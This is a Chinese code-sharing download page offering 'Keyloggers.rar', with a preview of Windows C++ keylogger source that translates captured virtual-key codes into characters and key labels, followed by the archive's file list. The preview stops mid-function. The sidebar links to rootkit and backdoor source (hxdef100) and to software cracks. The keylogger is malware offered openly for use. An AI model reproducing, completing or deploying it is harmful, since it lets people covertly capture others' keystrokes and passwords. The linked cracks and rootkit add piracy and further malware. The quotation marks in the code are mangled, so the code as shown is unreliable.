资源简介
Keyloggers.rar
代码片段和文件信息
#include
#include
#include
#include
#include
using namespace std;
string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = ““;
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48:{KeyString = “)“;}break; //0
case 49:{KeyString = “!“;}break; //1
case 50:{KeyString = “@“;}break; //2
case 51:{KeyString = “#“;}break; //3
case 52:{KeyString = “$“;}break; //4
case 53:{KeyString = “%“;}break; //5
case 54:{KeyString = “^“;}break; //6
case 55:{KeyString = “&“;}break; //7
case 56:{KeyString = “*“;}break; //8
case 57:{KeyString = “(“;}break; //9
}
}
else
KeyString = Key;
}
//对字母的大小写进行判断
if (Key >=97 && Key <= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS) {KeyString = Key;}else{KeyString = Key - 32;} //Shift按下:为小写字母 否则 大写字母
}
else// 大写没有锁定
{
if(IS){KeyString = Key - 32;}else{KeyString = Key;} // 按下Shift键: 大写字母 否则 小写字母
}
}
if(Key >=186 && Key <=222)
{
switch(Key)
{
case 186:{if(IS){KeyString = “:“;}else{KeyString = “;“;}}break;
case 187:{if(IS){KeyString = “+“;}else{KeyString = “=“;}}break;
case 188:{if(IS){KeyString = “<“;}else{KeyString = ““;}}break;
case 189:{if(IS){KeyString = “_“;}else{KeyString = “-“;}}break;
case 190:{if(IS){KeyString = “>“;}else{KeyString = “.“;}}break;
case 191:{if(IS){KeyString = “?“;}else{KeyString = “/“;}}break;
case 192:{if(IS){KeyString = “~“;}else{KeyString = “‘“;}}break;
case 219:{if(IS){KeyString = “{“;}else{KeyString = “[“;}}break;
case 220:{if(IS){KeyString = “|“;}else{KeyString = “\\“;}}break;
case 221:{if(IS){KeyString = ‘}‘;}else{KeyString = ‘]‘;}}break;
case 222:{if(IS){KeyString = ‘“‘;}else{KeyString = “‘“;}}break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE){KeyString = “[Esc]“;} // 退出
if (Key == VK_F1){KeyString = “[F1]“;} // F1至F12
if (Key == VK_F2){KeyString = “[F2]“;}
if (Key == VK_F3){KeyString = “[F3]“;}
if (Key == VK_F4){KeyString = “[F4]“;}
if (Key == VK_F5){KeyString = “[F5]“;}
if (Key == VK_F6){KeyString = “[F6]“;}
if (Key == VK_F7){KeyString = “[F7]“;}
if (Key == VK_F8){KeyString = “[F8]“;}
if (Key == VK_F9){KeyString = “[F9]“;}
if (Key == VK_F10){KeyString = “[F10]“;}
if (Key == VK_F11){KeyString = “[F11]“;}
if (Key == VK_F12){KeyString = “[F12]“;}
if (Key == VK_SNAPSHOT){KeyString = “[PrScrn]“;} // 打印屏幕
if (Key == VK_SCROLL){KeyString = “[Scroll Lock]“;} // 滚动锁定
if (Key == VK_PAUSE){KeyString = “[Pause]“;} // 暂停、中断
if (Key == VK_CAPITAL){KeyString = “[Caps Lock]“;}
//控制键
if (Key == 8){KeyString = “[Backspace]“;} //<- 回格键
if (Key == VK_RETURN){KeyString = “[Enter]\n“;} // 回车键、换行
if (Key == VK_SPACE){KeyString = “[Space]“;} // 空格
if (Key
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 4330 2014-12-14 17:02 键盘记录器.dsp
文件 545 2014-12-16 20:24 键盘记录器.dsw
文件 6437 2014-12-16 20:27 主程序.cpp
----------- --------- ---------- ----- ----
11312 3
- 上一篇:没有了
- 下一篇:机器人轨迹仿真用三次B样条插值
相关资源
- 计算机图形学 边填充算法实现代码
- 电力系统潮流计算程序集合
- oracle数据迁移项目实施方案
- Web Api 通过文件流 文件到本地
- Visio图标-最新最全的网络通信图标库
- Spire API文档
- OpenGL参考手册
- Python中Numpy库最新教程
- SPD博士V5.3.exe
- 直流无刷电机方波驱动 stm32 例程代码
- layui后台管理模板
- 仿知乎界面小程序源代码
- 云平台-阿里云详细介绍
- photoshop经典1000例
- scratch垃圾分类源码(最终版本).sb
- IAR ARM 7.8破解
- TI CCS V5.4 安装步骤及破解文件
- 松下plc FP-XH的驱动
- 局域网硬件信息收集工具
- 加快Windows XP操作系统开机速度
- 联想启天M4350 BIOS升级文件
- 操作系统教程课后答案华中科技大学
- 用友ERP考试系统练习题库及答案
- 北京邮电大学数据结构历年考研真题
- 真正!!!概率论与数理统计浙江大
- TMS320VC5509A_开发板使用手册
- hxdef100源码、远控、后门
- CentOS-6.7-x86_64-bin-DVD1to2
- 点阵字库显示中英文
- caxa实体设计2019破解补丁
评论
共有 条评论